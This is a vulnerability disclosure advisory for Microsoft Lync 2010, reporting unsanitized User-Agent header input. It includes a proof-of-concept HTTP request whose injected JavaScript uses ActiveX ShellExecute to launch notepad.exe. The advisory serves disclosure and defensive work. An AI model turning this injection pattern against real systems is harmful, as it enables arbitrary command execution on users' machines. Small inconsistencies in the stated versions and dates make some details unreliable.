Summary ======= Microsoft Lync 2010 fails to properly sanitize user-supplied input, which can lead to remote code execution. Microsoft was originally notified of this issue December 11, 2012. The details of this issue were made public January 11, 2013. CVE number: Not Assigned Impact: Low Vendor homepage: Vendor notified: December 11, 2012 Vendor fixed: N/A Credit: Christopher Emerson of White Oak Security ( Affected Products ================ Confirmed in Microsoft Lync Server 2010, version 4.0.7577.0. Other versions may also be affected. Details ======= Microsoft Lync 2010, version 4.0.7577.4087, fails to sanitize the “User-Agent Header” for By inserting JavaScript into the aforementioned parameters and stacking commands, an attacker can execute arbitrary commands in the context of the application. Impact ====== Malicious users could execute arbitrary applications on the client systems, compromising the confidentiality, integrity and availability of information on the client system. Solution ======== The vendor should implement thorough input validation in order to remove dangerous characters from user supplied data. Additionally, the vendor should implement thorough output encoding in order to display, and not execute, dangerous characters within the browser. Proof-of-Concept (PoC) =================== The following Request is included as a proof of concept. The proof of concept is designed to open notepad.exe when the Request is received by the server. GET /christopher.emerson/JW926520 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/, application/x-ms-xbap, application/x-ms-application, */* Accept-Language: en-us User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)";var oShell = new ActiveXObject("Shell.Application");var commandtoRun = "C:\\Windows\\notepad.exe";oShell.ShellExecute(commandtoRun,"","","open","1");-" Host: Connection: Keep-Alive Cookie: LOCO=yes; icscontext=cnet; ProfileNameCookie=Christopher Below is an abbreviated copy of the Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-MS-Server-Fqdn: X-Powered-By: ASP.NET Date: Mon, 07 May 2012 20:26:55 GMT Connection: keep-alive Content-Length: 23901 Microsoft Lync